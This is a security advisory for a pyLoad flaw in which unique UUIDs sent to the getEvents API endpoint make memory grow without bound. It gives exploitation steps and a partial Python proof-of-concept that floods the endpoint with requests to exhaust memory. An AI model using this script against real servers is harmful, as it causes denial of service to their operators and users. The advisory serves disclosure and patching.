CVE-2026-48987 — pyLoad: Unbounded Memory Growth Leading to DoS and Potential DDoS in EventManager

Affected: pyload

pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev101, EventManager in src/pyload/core/managers/event_manager.py appends a Client object to the clients list for each unique uuid submitted to the authenticated getEvents API endpoint, but get_events does not invoke the available clean method to remove inactive clients. An authenticated user can repeatedly submit unique UUID values, causing retained client objects and process memory to grow without bound even after requests stop. The resulting memory exhaustion can trigger an operating-system out-of-memory termination of pyLoad or host-wide instability and denial of service. This issue is fixed in version 0.5.0b3.dev101.

GHSA-c2f9-4mc8-j656 — pyLoad: Unbounded Memory Growth Leading to DoS and Potential DDoS in EventManager

Affected: PyPI: pyload-ng

## Description: The `EventManager` module in `pyload` manages a list of `Client` instances for subscribing to events. The addition of each unique `uuid` from the `get_events` API causes the creation of a `Client` instance that gets appended to the `clients` list. Although there is a `clean()` method available in the `EventManager` module for removing non-responding `Client` instances, this method is never used in the `EventManager` or in the entire core application code. Consequently, this causes an uncontrolled growth in memory consumption until it becomes exhausted, resulting in a DoS attack.

## Vulnerable Code: https://github.com/pyload/pyload/blob/355c3f8d78a91f72d049e58f1edee8a972f845eb/src/pyload/core/managers/event_manager.py#L16-L17

> Here the client is added to the `clients` list but never cleared the inactive clients.

## Exploitation: 1. **Start pyLoad server** (Ensure the `pyload` server is running) 2. **Authenticate**: Obtain a session cookie or an API key (Here i used the API key). 3. **Send Requests**: Run the below poc script to send a large number of requests to the `getEvents` API endpoint, each with a unique `uuid`. ```python import requests import uuid import time

# Configuration URL = "http://localhost:8000/api/getEvents" NUM_REQUESTS = 100000

headers = { "X-API-Key" : "<YOUR_APIKEY>" }

print(f"Starting DoS attack: sending {NUM_REQUESTS} unique UUIDs...")

for i in range(NUM_REQUESTS): # Generating a new UUID uid = str(uuid.uuid4()) t…

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CVE-2026-48987 — pyLoad: Unbounded Memory Growth Leading to DoS and Potential DDoS in EventManager

GHSA-c2f9-4mc8-j656 — pyLoad: Unbounded Memory Growth Leading to DoS and Potential DDoS in EventManager